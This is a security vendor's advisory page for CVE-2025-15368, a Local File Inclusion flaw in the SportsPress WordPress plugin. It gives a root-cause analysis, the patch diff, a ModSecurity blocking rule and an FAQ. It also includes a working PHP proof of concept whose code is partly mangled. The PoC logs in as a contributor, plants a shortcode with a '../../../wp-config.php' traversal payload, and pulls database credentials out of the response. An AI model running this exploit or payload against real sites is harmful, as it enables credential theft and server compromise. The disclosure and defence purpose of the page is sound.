“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-15368:nThis vulnerability is an authenticated Local File Inclusion (LFI) in the SportsPress WordPress plugin. Attackers with contributor-level or higher permissions can exploit a shortcode attribute to include and execute arbitrary PHP files on the server. The vulnerability affects all plugin versions up to and including 2.7.26, with a CVSS score of 8.8 (High).nnnThe root cause lies in the `sp_get_template()` function within `/sportspress/includes/sp-core-functions.php`. This function accepts user-controlled arguments via the `$args` parameter and passes them directly to PHP’s `extract()` function on line 69. The function then calls `sp_locate_template()` using the extracted `$template_name` variable. Before the patch, the function did not sanitize or restrict the `template_name` parameter, allowing an attacker to control the file path included via the shortcode. The vulnerable code path originates from shortcode handlers that pass user attributes directly to `sp_get_template()`.nnnExploitation requires an authenticated attacker with contributor privileges or higher. The attacker crafts a post or page containing a SportsPress shortcode with a malicious `template_name` attribute. The attribute value uses directory traversal sequences (e.g., `../../../wp-config.php`) to include sensitive files outside the plugin’s template directory. Alternatively, if the attacker can upload a PHP file (via another vulnerability or allowed upload), they can include it directly. The shortcode is processed when the post is viewed, triggering the LFI.nnnThe patch introduces multiple security layers in the `sp_get_template()` and `sp_locate_template()` functions. In `sp_get_template()`, the patch adds code to store original parameters before `extract()` and removes security-sensitive parameters (`template_name`, `template_path`, `default_path`) from the `$args` array before extraction (lines 69-73). This prevents an attacker from overriding these critical variables via the shortcode attributes. The function then uses the stored original parameters when calling `sp_locate_template()`. In `sp_locate_template()`, the patch adds comprehensive sanitization: it applies `basename()` to strip directory paths, uses `sanitize_file_name()` to remove special characters, strips remaining path separators, removes leading dots to block hidden files, and sanitizes `$template_path` and `$default_path` parameters against directory traversal (lines 112-134).nnnSuccessful exploitation leads to arbitrary PHP code execution on the server. An attacker can read sensitive files like `wp-config.php` to obtain database credentials and encryption keys. They can include uploaded PHP files (e.g., web shells) to establish persistent backdoors. This vulnerability bypasses access controls, compromises the entire WordPress installation, and can lead to full server compromise if the web server process has sufficient permissions. The attacker’s ability to execute code is limited only by the operating system permissions of the web server user.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-15368 – SportsPress <= 2.7.26 – Authenticated (Contributor+) Local File Inclusion via Shortcodenn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $admin_url,n ‘testcookie’ => ‘1’n);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));n$response = curl_exec($ch);nn// Check if login succeeded by accessing admin dashboardncurl_setopt($ch, CURLOPT_URL, $admin_url . ‘post-new.php’);ncurl_setopt($ch, CURLOPT_POST, false);n$response = curl_exec($ch);nnif (strpos($response, ‘id=”wpadminbar”‘) === false) {n die(“[-] Authentication failed. Check credentials.”);n}nnecho “[+] Successfully authenticated as: ” . $username . “\n”;nn// Step 2: Extract nonce required for post creationn// WordPress stores nonce in various forms; we need the ‘_wpnonce’ for post creationnpreg_match(‘/name=”_wpnonce” value=”([a-f0-9]+)”/’, $response, $matches);nif (empty($matches[1])) {n // Alternative method: fetch nonce via AJAX or from page sourcen die(“[-] Could not extract nonce from page.”);n}n$nonce = $matches[1];necho “[+] Extracted nonce: ” . $nonce . “\n”;nn// Step 3: Create a new post with malicious SportsPress shortcoden// The shortcode exploits the ‘template_name’ attribute for LFIn$create_post_url = $target_url . ‘/wp-admin/post-new.php’;n$post_fields = array(n ‘post_title’ => ‘Atomic Edge LFI Test’,n ‘content’ => ‘[player_list template_name=”../../../wp-config.php”]’,n ‘post_type’ => ‘post’,n ‘post_status’ => ‘draft’,n ‘_wpnonce’ => $nonce,n ‘_wp_http_referer’ => ‘/wp-admin/post-new.php’,n ‘user_ID’ => ‘1’, // Typically the current user IDn ‘action’ => ‘editpost’,n ‘originalaction’ => ‘editpost’,n ‘post_author’ => ‘1’,n ‘meta-box-order-nonce’ => $nonce,n ‘closedpostboxesnonce’ => $nonce,n ‘save’ => ‘Save Draft’n);nncurl_setopt($ch, CURLOPT_URL, $create_post_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));n$response = curl_exec($ch);nn// Extract the post ID from the response (redirect URL)nif (preg_match(‘/post=([0-9]+)/’, curl_getinfo($ch, CURLINFO_EFFECTIVE_URL), $id_matches)) {n $post_id = $id_matches[1];n echo “[+] Created draft post with ID: ” . $post_id . “\n”;n n // Step 4: View the post to trigger the shortcode execution and LFIn $view_post_url = $target_url . ‘/?p=’ . $post_id . ‘&preview=true’;n curl_setopt($ch, CURLOPT_URL, $view_post_url);n curl_setopt($ch, CURLOPT_POST, false);n $response = curl_exec($ch);n n // Check if wp-config.php content is leaked in the responsen if (strpos($response, ‘DB_NAME’) !== false || strpos($response, ‘define’) !== false) {n echo “[+] SUCCESS: Local File Inclusion confirmed!\n”;n echo “[+] Extracted database credentials from wp-config.php:\n”;n n // Extract and display database configurationn preg_match(‘/define\(\s*[‘\”]DB_NAME[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_name);n preg_match(‘/define\(\s*[‘\”]DB_USER[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_user);n preg_match(‘/define\(\s*[‘\”]DB_PASSWORD[‘\”]\s*,\s*[‘\”]([^\’\”]+)[‘\”]/’, $response, $db_pass);n n echo ” DB_NAME: ” . (isset($db_name[1]) ? $db_name[1] : ‘Not found’) . “\n”;n echo ” DB_USER: ” . (isset($db_user[1]) ? $db_user[1] : ‘Not found’) . “\n”;n echo ” DB_PASSWORD: ” . (isset($db_pass[1]) ? $db_pass[1] : ‘Not found’) . “\n”;n } else {n echo “[-] LFI attempt did not return expected content. The site may be patched.\n”;n echo “[-] Response preview: ” . substr($response, 0, 500) . “…\n”;n }n} else {n echo “[-] Failed to create post or extract post ID.\n”;n}nncurl_close($ch);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-15368nSecRule REQUEST_URI “@rx ^/(?:index\.php)?$” \n “id:10015368,phase:2,deny,status:403,chain,msg:’CVE-2025-15368: SportsPress LFI via shortcode attribute’,severity:’CRITICAL’,tag:’CVE-2025-15368′,tag:’WordPress’,tag:’SportsPress’,tag:’LFI'”n SecRule REQUEST_BODY “@rx \[player_list[^\]]*template_name\s*=\s*[‘\”][^’\”]*(\.\./|\.\.\\)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain”n SecRule REQUEST_BODY “@rx \[player_list[^\]]*template_name\s*=\s*[‘\”][^’\”]*\.(php|phtml|phar|inc)” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase””
}
“`

CVE-2025-15368: SportsPress <= 2.7.26 – Authenticated (Contributor+) Local File Inclusion via Shortcode (sportspress)
CVE-2025-15368
sportspress
2.7.26
2.7.27
Analysis Overview
Differential between vulnerable and patched code
--- a/sportspress/includes/admin/importers/class-sp-importer.php
+++ b/sportspress/includes/admin/importers/class-sp-importer.php
@@ -5,7 +5,7 @@
* @author ThemeBoy
* @category Admin
* @package SportsPress/Admin/Importers
- * @version 2.7.9
+ * @version 2.7.28
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -125,14 +125,17 @@
$this->imported = $this->skipped = 0;
- if ( ! is_file( $file ) ) :
- $this->footer();
- die();
- endif;
+ if ( ! is_file( $file ) ) :
+ $this->footer();
+ die();
+ endif;
+ // Only set auto_detect_line_endings on PHP versions that support it (< 8.1).
+ if ( version_compare( PHP_VERSION, '8.1', '<' ) ) {
ini_set( 'auto_detect_line_endings', '1' );
+ }
- if ( ( $handle = fopen( $file, 'r' ) ) !== false ) :
+ if ( ( $handle = fopen( $file, 'r' ) ) !== false ) :
$header = fgetcsv( $handle, 0, $this->delimiter );
--- a/sportspress/includes/admin/post-types/class-sp-admin-cpt-team.php
+++ b/sportspress/includes/admin/post-types/class-sp-admin-cpt-team.php
@@ -5,7 +5,7 @@
* @author ThemeBoy
* @category Admin
* @package SportsPress/Admin/Post_Types
- * @version 2.6
+ * @version 2.7.27
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -89,7 +89,12 @@
public function custom_columns( $column, $post_id ) {
switch ( $column ) :
case 'sp_icon':
- echo has_post_thumbnail( $post_id ) ? wp_kses_post( edit_post_link( get_the_post_thumbnail( $post_id, 'sportspress-fit-mini' ), '', '', $post_id ) ) : '';
+ if ( has_post_thumbnail( $post_id ) ) {
+ $edit_link = edit_post_link( get_the_post_thumbnail( $post_id, 'sportspress-fit-mini' ), '', '', $post_id );
+ echo $edit_link ? wp_kses_post( $edit_link ) : '';
+ } else {
+ echo '';
+ }
break;
case 'sp_short_name':
$short_name = get_post_meta( $post_id, 'sp_short_name', true );
--- a/sportspress/includes/admin/settings/class-sp-settings-events.php
+++ b/sportspress/includes/admin/settings/class-sp-settings-events.php
@@ -533,6 +533,9 @@
public function delimiter_setting() {
$selection = get_option( 'sportspress_event_teams_delimiter', 'vs' );
$limit = get_option( 'sportspress_event_teams', 2 );
+
+ // Cast to integer and ensure it's a valid positive number.
+ $limit = absint( $limit );
if ( 0 == $limit ) {
$limit = 2;
}
--- a/sportspress/includes/class-sp-player-list.php
+++ b/sportspress/includes/class-sp-player-list.php
@@ -269,7 +269,7 @@
endif;
// Add precision to object
- $stat->precision = sp_array_value( sp_array_value( $meta, 'sp_precision', array() ), 0, 0 ) + 0;
+ $stat->precision = (int) sp_array_value( sp_array_value( $meta, 'sp_precision', array() ), 0, 0 ) + 0;
// Add column icons to columns were is available
if ( get_option( 'sportspress_player_statistics_mode', 'values' ) == 'icons' && ( $stat->post_type == 'sp_performance' || $stat->post_type == 'sp_statistic' ) ) {
@@ -757,7 +757,23 @@
continue;
}
- $placeholders[ $player_id ] = array_merge( sp_array_value( $totals, $player_id, array() ), array_filter( sp_array_value( $placeholders, $player_id, array() ) ) );
+ // Sum manual stats with auto-calculated stats
+ $auto_stats = sp_array_value( $totals, $player_id, array() );
+ $manual_stats = sp_array_value( $placeholders, $player_id, array() );
+ $combined = array();
+
+ // Get all unique keys from both arrays
+ $all_keys = array_unique( array_merge( array_keys( $auto_stats ), array_keys( $manual_stats ) ) );
+
+ foreach ( $all_keys as $key ) {
+ $auto_value = isset( $auto_stats[ $key ] ) ? floatval( $auto_stats[ $key ] ) : 0;
+ $manual_value = isset( $manual_stats[ $key ] ) ? floatval( $manual_stats[ $key ] ) : 0;
+
+ // Sum both values
+ $combined[ $key ] = $auto_value + $manual_value;
+ }
+
+ $placeholders[ $player_id ] = $combined;
// Player adjustments
$player_adjustments = sp_array_value( $adjustments, $player_id, array() );
--- a/sportspress/includes/sp-core-functions.php
+++ b/sportspress/includes/sp-core-functions.php
@@ -7,7 +7,7 @@
* @author ThemeBoy
* @category Core
* @package SportsPress/Functions
- * @version 2.7.26
+ * @version 2.7.27
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -66,11 +66,20 @@
* @return void
*/
function sp_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {
+ // Store the original parameters before extract() to prevent override attacks
+ $original_template_name = $template_name;
+ $original_template_path = $template_path;
+ $original_default_path = $default_path;
+
if ( $args && is_array( $args ) ) {
+ // Remove security-sensitive parameters from args before extraction
+ // to prevent Local File Inclusion attacks via shortcode attributes
+ unset( $args['template_name'], $args['template_path'], $args['default_path'] );
extract( $args );
}
- $located = sp_locate_template( $template_name, $template_path, $default_path );
+ // Use original parameters for template location
+ $located = sp_locate_template( $original_template_name, $original_template_path, $original_default_path );
if ( ! file_exists( $located ) ) {
_doing_it_wrong( __FUNCTION__, sprintf( '<code>%s</code> does not exist.', esc_html( $located ) ), '0.7' );
@@ -100,6 +109,30 @@
* @return string
*/
function sp_locate_template( $template_name, $template_path = '', $default_path = '' ) {
+ // Sanitize template name to prevent directory traversal attacks
+ // First extract just the filename component, removing any directory paths
+ $template_name = basename( $template_name );
+
+ // Sanitize the filename to remove special characters and traversal attempts
+ $template_name = sanitize_file_name( $template_name );
+
+ // Additional security: ensure no path separators remain after sanitization
+ $template_name = str_replace( array( '/', '\' ), '', $template_name );
+
+ // Prevent access to hidden files
+ $template_name = ltrim( $template_name, '.' );
+
+ // Sanitize path parameters if provided by user input (defense-in-depth)
+ if ( ! empty( $template_path ) ) {
+ // Validate that template_path doesn't contain directory traversal
+ $template_path = str_replace( array( '../', '..\' ), '', $template_path );
+ }
+
+ if ( ! empty( $default_path ) ) {
+ // Validate that default_path doesn't contain directory traversal
+ $default_path = str_replace( array( '../', '..\' ), '', $default_path );
+ }
+
if ( ! $template_path ) {
$template_path = SP()->template_path();
}
@@ -1755,7 +1788,7 @@
if ( ! function_exists( 'sp_taxonomy_field' ) ) {
function sp_taxonomy_field( $taxonomy = 'category', $post = null, $multiple = false, $trigger = false, $placeholder = null ) {
$obj = get_taxonomy( $taxonomy );
- if ( $obj ) {
+ if ( $obj && $obj->public) {
$post_type = get_post_type( $post );
?>
<div class="<?php echo esc_attr( $post_type ); ?>-<?php echo esc_attr( $taxonomy ); ?>-field">
--- a/sportspress/sportspress.php
+++ b/sportspress/sportspress.php
@@ -3,11 +3,11 @@
* Plugin Name: SportsPress
* Plugin URI: http://themeboy.com/sportspress/
* Description: Manage your club and its players, staff, events, league tables, and player lists.
- * Version: 2.7.26
+ * Version: 2.7.27
* Author: ThemeBoy
* Author URI: http://themeboy.com
* Requires at least: 3.8
- * Tested up to: 6.8.1
+ * Tested up to: 6.9
*
* Text Domain: sportspress
* Domain Path: /languages/
@@ -26,14 +26,14 @@
* Main SportsPress Class
*
* @class SportsPress
- * @version 2.7.26
+ * @version 2.7.27
*/
final class SportsPress {
/**
* @var string
*/
- public $version = '2.7.26';
+ public $version = '2.7.27';
/**
* @var SportsPress The single instance of the class
--- a/sportspress/uninstall.php
+++ b/sportspress/uninstall.php
@@ -1,28 +0,0 @@
-<?php
-/**
- * SportsPress Uninstall
- *
- * Uninstalling SportsPress deletes user roles and options.
- *
- * @author ThemeBoy
- * @category Core
- * @package SportsPress/Uninstaller
- * @version 2.3
- */
-if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
- exit();
-}
-
-global $wpdb, $wp_roles;
-
-$status_options = get_option( 'sportspress_status_options', array() );
-
-// Roles + caps
-$installer = include 'includes/class-sp-install.php';
-$installer->remove_roles();
-
-// Delete options
-$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'sportspress_%';" );
-
-delete_option( 'sportspress_installed' );
-delete_option( 'sportspress_completed_setup' );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2025-15368?
Overview of the vulnerabilityCVE-2025-15368 is a high-severity vulnerability affecting the SportsPress plugin for WordPress, specifically versions up to and including 2.7.26. It allows authenticated users with contributor-level permissions or higher to exploit a Local File Inclusion (LFI) vulnerability via a shortcode, potentially leading to arbitrary code execution.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the `sp_get_template()` function, which allows user-controlled input through the `template_name` attribute of a shortcode. Attackers can craft a shortcode that includes directory traversal sequences to access sensitive files or execute malicious PHP code, compromising the server.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the SportsPress plugin version 2.7.26 or earlier is at risk. Specifically, authenticated users with contributor-level permissions or higher can exploit this vulnerability, making it critical for site administrators to assess user roles and permissions.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the SportsPress plugin in use. If it is version 2.7.26 or earlier, your site is at risk. Additionally, review user roles to identify if any contributors or higher have access to create posts with the affected shortcode.
How can I fix this vulnerability?
Recommended actionsThe vulnerability can be fixed by updating the SportsPress plugin to version 2.7.27 or later, which includes patches that sanitize and validate the `template_name` parameter. Regularly updating all WordPress plugins is essential to maintain security.
What does a CVSS score of 8.8 indicate?
Understanding severity levelsA CVSS score of 8.8 indicates a high severity level, suggesting that the vulnerability poses a significant risk to affected systems. This means that successful exploitation could lead to severe consequences, including unauthorized access to sensitive data and potential full server compromise.
What practical risks does this vulnerability pose?
Potential impacts on the siteExploitation of this vulnerability can lead to unauthorized execution of PHP code, allowing attackers to read sensitive files such as `wp-config.php`, which contains database credentials. This could result in data breaches, loss of site integrity, and further attacks on the server.
What is a proof of concept (PoC) for this vulnerability?
Demonstration of exploitationThe proof of concept demonstrates how an authenticated attacker can create a post containing a malicious shortcode that exploits the LFI vulnerability. It shows the steps to authenticate, extract a nonce, create a post with the shortcode, and then access sensitive files when the post is viewed.
How does the patch mitigate the vulnerability?
Changes made in the updated versionThe patch for CVE-2025-15368 includes sanitization measures in the `sp_get_template()` and `sp_locate_template()` functions. It restricts the parameters that can be extracted and ensures that the `template_name` cannot be manipulated to include unauthorized files, thereby preventing LFI.
What should I do if I cannot immediately update the plugin?
Mitigation strategiesIf immediate updates are not possible, consider temporarily restricting access to the admin area for users with contributor-level permissions. Additionally, implement web application firewall rules to block attempts to exploit the vulnerability until the plugin can be updated.
Are there any additional security measures I should take?
Best practices for WordPress securityIn addition to updating the plugin, ensure that all WordPress installations and plugins are regularly updated. Employ strong user authentication practices, limit user permissions based on necessity, and consider using security plugins that provide additional layers of protection against common vulnerabilities.
Where can I find more information about this vulnerability?
Resources for further readingMore information can be found on the official CVE database, security advisories from the SportsPress team, and various cybersecurity blogs that discuss WordPress vulnerabilities. Keeping abreast of security updates from trusted sources is crucial for maintaining site security.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






